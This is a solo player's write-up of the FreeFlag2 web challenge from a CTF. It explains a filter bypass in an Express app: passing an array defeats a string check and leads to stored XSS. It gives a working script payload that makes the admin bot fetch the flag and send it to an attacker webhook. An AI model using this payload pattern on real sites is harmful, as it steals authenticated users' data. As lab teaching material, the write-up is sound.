this is a write up for FreeFlag 2 web challenge from HackStart CTF which organized by FahemSec and sponsored by H1 community . I played solo in this ctf because I forget to search for team and registered in the last minutes,No Problem I am always alone :(

I solved all web challenges and but I will walk through FreeFlag2 challenge.

You can get the source code from here https://github.com/Ahmedhassan207/FahemSec-HackStart-CTF

the challenge was with source code , it was an Express app . we have four main endpoints :

# app.post('/visit') 
# app.get('/api/reference/:refId')
# app.get('/api/fetchflag')
# app.post('/login')

to request the flag you must be authenticated and the login page was secure . this is the code for /visit endpoint

app.post('/visit', async (req, res) => {
  const { url, visitor } = req.body;

  if (!url || !visitor) {
    return res.status(400).json({ error: "URL and visitor name are required" });
  }

  const visitSuccess = await visitUrl(url);

  if (visitSuccess) {
    const refId = uuidv4();
    const filter = content => !content.includes("<") && !content.includes(">") ? content : "guest";
    const cleanUrl = url => {
      try {
        const parsedUrl = new URL(url);
        return parsedUrl.hostname;
      } catch (e) {
        return "invalid-url";
      }
    };

    db.run("INSERT INTO reports (refId, visitor, url) VALUES (?, ?, ?)", 
      [refId, String(filter(visitor)), cleanUrl(url)], 
      (err) => {
        if (err) {
          console.error(err.message);
          return res.status(500).json({ error: "Failed to save report" });
        }
        res.json({
          message: "Admin will check your report soon",
          referenceId: refId
        });
      });

  } else {
    res.status(500).json({ error: "Bot failed to visit the URL" });
  }
});

it take two parameters url, visitor there was a validation on the visitor parameter to check it not contain < or > and then the admin will visit your url and after this is the save the url and visitor in the database.

because there is no check on visitor datatype you can pass an array instead of string like this : {"visitor":["<script>alert()</script>"]} and will bypass the validation because this ['<script>…'].includes('<') will check that the array include element like '<' not a character in string.

you retrieve them from /api/reference/:refId , it return them without any encoding and depend on the validation at the above endpoint

res.send(
      `Reference ID: ${row.refId}\nVisitor: ${row.visitor}\nURL: ${row.url}`
    );

the admin bot will visit the url with authenticated session , so we will make him get the flag from /api/fetchflag and send it our webhook.

Step to Reproduce :

1- firstly save our payload in db by send it to /visit in the vistior paramter :

{"url":"https://test.com",
"visitor":["<script>fetch('http://127.0.0.1:5000/api/fetchflag').then(res => res.text()).then(data => fetch('https://your-webhook/log?flag=' + btoa(data)));</script>"]}

NOTE: make domain 127.0.0.1:5000 because the cookie of admin scoped to it

2- get the reference id from the response and send the reference URL to the admin

{"url":"http://127.0.0.1:5000/api/reference/5f99bee0-609c-44b1-b757-0b43ecd9c888","visitor":"hi bye"}

3- you will get a request to your webhook from the admin and flag will be in the query parameter , decode it and get the flag

there is another version of this challenge with different filter , you can try to solve it = > https://fahemsec.com/challenge?id=2

finally if you reach here I hope you enjoy it :)